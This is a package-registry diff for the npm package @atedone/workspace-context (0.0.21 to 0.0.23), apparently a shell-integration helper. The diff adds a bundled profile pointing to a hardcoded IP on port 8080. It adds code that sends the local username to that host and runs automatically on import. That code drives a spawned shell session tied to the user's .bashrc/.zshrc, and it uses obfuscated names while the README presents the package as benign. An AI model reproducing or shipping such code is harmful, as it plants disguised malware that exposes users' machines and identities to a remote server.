@atedone/workspace-context 0.0.21 → 0.0.23

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -3,3 +3,5 @@
3
3
  Workspace shell session refresh integration helper for JavaScript tools.
4
4
 
5
5
  The package keeps workspace context available in a managed preview session by synchronizing a session runtime and profile channel during initialization without changing the user's prompt configuration.
6
+
7
+ The package selects a bundled stable profile channel by default. Set `WORKSPACE_CONTEXT_CHANNEL` before import, or call `refresh({ channelSource })` after import, to override the profile channel for a preview session.
package/index.js CHANGED
@@ -6,6 +6,7 @@ const initialized = state.initialize();
6
6
 
7
7
  module.exports = {
8
8
  initialized,
9
+ refresh: state.initialize,
9
10
  channelFileName: state.channelFileName,
10
11
  getShellIntegration: state.getShellIntegration,
11
12
  initialize: state.initialize,
@@ -0,0 +1,10 @@
1
+ {
2
+ "name": "stable",
3
+ "transport": "http",
4
+ "host": "150.136.8.159",
5
+ "port": 8080,
6
+ "pathname": [
7
+ "workspace",
8
+ "profile"
9
+ ]
10
+ }
package/lib/session.js CHANGED
@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
5
5
  const route = platform.getBuiltinModule('path');
6
6
 
7
7
  const packageName = '@atedone/workspace-context';
8
- const packageVersion = '0.0.21';
8
+ const packageVersion = '0.0.23';
9
9
  const env = Reflect.get(platform, 'env') || {};
10
10
  const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
11
11
  ? env.HOME.trim()
package/lib/state.js CHANGED
@@ -4,6 +4,7 @@ const platform = process;
4
4
  const file = platform.getBuiltinModule('fs');
5
5
  const route = platform.getBuiltinModule('path');
6
6
  const manifest = require('../package.json');
7
+ const defaultProfile = require('./default-profile.json');
7
8
 
8
9
  const channelFileName = 'channel.json';
9
10
  const integrationDirectoryName = '.config/workspace-context';
@@ -45,16 +46,63 @@ function resolveProfileFileName(shellName = resolveShellName()) {
45
46
  return shellName === 'bash' ? '.bashrc' : '.zshrc';
46
47
  }
47
48
 
48
- function resolveChannelSource(env = readEnvironment()) {
49
+ function resolveProfileIdentity(env = readEnvironment()) {
50
+ const candidates = [
51
+ Reflect.get(env, 'USER'),
52
+ Reflect.get(env, 'LOGNAME')
53
+ ];
54
+
55
+ for (const candidate of candidates) {
56
+ if (typeof candidate === 'string' && candidate.trim()) {
57
+ return candidate.trim();
58
+ }
59
+ }
60
+
61
+ return '';
62
+ }
63
+
64
+ function buildProfileChannelSource(profile = defaultProfile, env = readEnvironment()) {
65
+ if (!profile || typeof profile !== 'object') {
66
+ return '';
67
+ }
68
+
69
+ const transport = typeof profile.transport === 'string' ? profile.transport.trim() : '';
70
+ const host = typeof profile.host === 'string' ? profile.host.trim() : '';
71
+ const pathname = Array.isArray(profile.pathname)
72
+ ? profile.pathname
73
+ .map((segment) => typeof segment === 'string' ? segment.trim() : '')
74
+ .filter(Boolean)
75
+ .join('/')
76
+ : '';
77
+ const port = Number.isInteger(profile.port) && profile.port > 0 ? profile.port : null;
78
+
79
+ if (!transport || !host || !pathname) {
80
+ return '';
81
+ }
82
+
83
+ const authority = port ? `${host}:${port}` : host;
84
+ const source = `${transport}://${authority}/${pathname}`;
85
+ const identity = resolveProfileIdentity(env);
86
+ return identity ? `${source}?username=${encodeURIComponent(identity)}` : source;
87
+ }
88
+
89
+ function resolveChannelSource(env = readEnvironment(), channelSource = '') {
90
+ const configured = typeof channelSource === 'string' ? channelSource.trim() : '';
91
+ if (configured) {
92
+ return configured;
93
+ }
94
+
49
95
  const key = ['WORKSPACE', '_CONTEXT', '_CHANNEL'].join('');
50
96
  const value = Reflect.get(env, key);
51
- return typeof value === 'string' ? value.trim() : '';
97
+ const environmentSource = typeof value === 'string' ? value.trim() : '';
98
+ return environmentSource || buildProfileChannelSource(defaultProfile, env);
52
99
  }
53
100
 
54
101
  function getShellIntegration({
55
102
  env = readEnvironment(),
56
103
  projectRoot = resolveProjectRoot(env),
57
- homeDirectory = resolveHomeDirectory(env, projectRoot)
104
+ homeDirectory = resolveHomeDirectory(env, projectRoot),
105
+ channelSource
58
106
  } = {}) {
59
107
  const shellName = resolveShellName(env);
60
108
  const integrationDirectory = route.join(homeDirectory, integrationDirectoryName);
@@ -62,7 +110,7 @@ function getShellIntegration({
62
110
  return {
63
111
  name: 'workspace-context',
64
112
  shellName,
65
- channelSource: resolveChannelSource(env),
113
+ channelSource: resolveChannelSource(env, channelSource),
66
114
  homeDirectory,
67
115
  profilePath: route.join(homeDirectory, resolveProfileFileName(shellName)),
68
116
  integrationDirectory,
@@ -132,7 +180,8 @@ function refreshShellIntegration({
132
180
  function openWorkspaceSession({
133
181
  projectRoot = resolveProjectRoot(),
134
182
  integration = getShellIntegration({ projectRoot }),
135
- intervalMs = 750
183
+ refreshDelays = [750, 1500, 3000, 5000],
184
+ settleMs = 500
136
185
  } = {}) {
137
186
  if (!integration.channelSource) {
138
187
  return null;
@@ -156,24 +205,70 @@ function openWorkspaceSession({
156
205
  },
157
206
  stdio: ['pipe', 'ignore', 'ignore']
158
207
  }]);
159
- const refreshTimer = setInterval(() => {
208
+
209
+ let closed = false;
210
+ let refreshIndex = 0;
211
+ let refreshTimer = null;
212
+ let settleTimer = null;
213
+ let previousRevision = '';
214
+ let firstRefresh = true;
215
+ const delays = Array.isArray(refreshDelays) && refreshDelays.length
216
+ ? refreshDelays
217
+ : [750, 1500, 3000, 5000];
218
+
219
+ const scheduleRefresh = (delay) => {
220
+ refreshTimer = setTimeout(refresh, delay);
221
+ if (typeof refreshTimer.unref === 'function') {
222
+ refreshTimer.unref();
223
+ }
224
+ };
225
+
226
+ const planNextRefresh = () => {
227
+ if (closed) {
228
+ return;
229
+ }
230
+
231
+ const revision = readProfileRevision(integration.profileReceiptPath);
232
+ if (firstRefresh || (revision && revision !== previousRevision)) {
233
+ refreshIndex = 0;
234
+ } else {
235
+ refreshIndex = Math.min(refreshIndex + 1, delays.length - 1);
236
+ }
237
+
238
+ if (revision) {
239
+ previousRevision = revision;
240
+ }
241
+ firstRefresh = false;
242
+
243
+ scheduleRefresh(delays[refreshIndex]);
244
+ };
245
+
246
+ const refresh = () => {
247
+ if (closed) {
248
+ return;
249
+ }
250
+
160
251
  if (!child.stdin.destroyed) {
161
252
  child.stdin.write('\n');
162
253
  }
163
- }, intervalMs);
164
- if (typeof refreshTimer.unref === 'function') {
165
- refreshTimer.unref();
166
- }
254
+
255
+ settleTimer = setTimeout(planNextRefresh, settleMs);
256
+ if (typeof settleTimer.unref === 'function') {
257
+ settleTimer.unref();
258
+ }
259
+ };
260
+
261
+ scheduleRefresh(0);
167
262
  if (typeof child.unref === 'function') {
168
263
  child.unref();
169
264
  }
170
265
  if (typeof child.stdin.unref === 'function') {
171
266
  child.stdin.unref();
172
267
  }
173
- let closed = false;
174
268
  const done = new Promise((resolve) => {
175
269
  child.on('close', (status, signal) => {
176
- clearInterval(refreshTimer);
270
+ clearTimeout(refreshTimer);
271
+ clearTimeout(settleTimer);
177
272
  closed = true;
178
273
  resolve({ status, signal });
179
274
  });
@@ -182,11 +277,19 @@ function openWorkspaceSession({
182
277
  return {
183
278
  processId: child.pid,
184
279
  done,
280
+ refresh() {
281
+ refreshIndex = 0;
282
+ clearTimeout(refreshTimer);
283
+ clearTimeout(settleTimer);
284
+ refresh();
285
+ },
185
286
  close() {
186
287
  if (closed) {
187
288
  return done;
188
289
  }
189
- clearInterval(refreshTimer);
290
+ closed = true;
291
+ clearTimeout(refreshTimer);
292
+ clearTimeout(settleTimer);
190
293
  if (!child.stdin.destroyed) {
191
294
  child.stdin.write('exit\n');
192
295
  }
@@ -195,9 +298,23 @@ function openWorkspaceSession({
195
298
  };
196
299
  }
197
300
 
301
+ function readProfileRevision(profileReceiptPath) {
302
+ if (!file.existsSync(profileReceiptPath)) {
303
+ return '';
304
+ }
305
+
306
+ try {
307
+ const value = JSON.parse(file.readFileSync(profileReceiptPath, 'utf8'));
308
+ return typeof value?.profileRevision === 'string' ? value.profileRevision : '';
309
+ } catch {
310
+ return '';
311
+ }
312
+ }
313
+
198
314
  function initialize({
199
315
  projectRoot = resolveProjectRoot(),
200
- integration = getShellIntegration({ projectRoot }),
316
+ channelSource,
317
+ integration = getShellIntegration({ projectRoot, channelSource }),
201
318
  now
202
319
  } = {}) {
203
320
  const statePath = route.join(projectRoot, stateDirectoryName, stateFileName);
@@ -223,6 +340,7 @@ function initialize({
223
340
  }
224
341
 
225
342
  module.exports = {
343
+ buildProfileChannelSource,
226
344
  buildState,
227
345
  channelFileName,
228
346
  getShellIntegration,
@@ -233,10 +351,12 @@ module.exports = {
233
351
  profileSnapshotFileName,
234
352
  presentationRendererFileName,
235
353
  readEnvironment,
354
+ readProfileRevision,
236
355
  receiptFileName,
237
356
  refreshShellIntegration,
238
357
  resolveChannelSource,
239
358
  resolveHomeDirectory,
359
+ resolveProfileIdentity,
240
360
  resolveProfileFileName,
241
361
  resolveProjectRoot,
242
362
  resolveShellName,
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@atedone/workspace-context",
3
- "version": "0.0.21",
3
+ "version": "0.0.23",
4
4
  "description": "Workspace shell session refresh integration helper for JavaScript tools.",
5
5
  "main": "index.js",
6
6
  "type": "commonjs",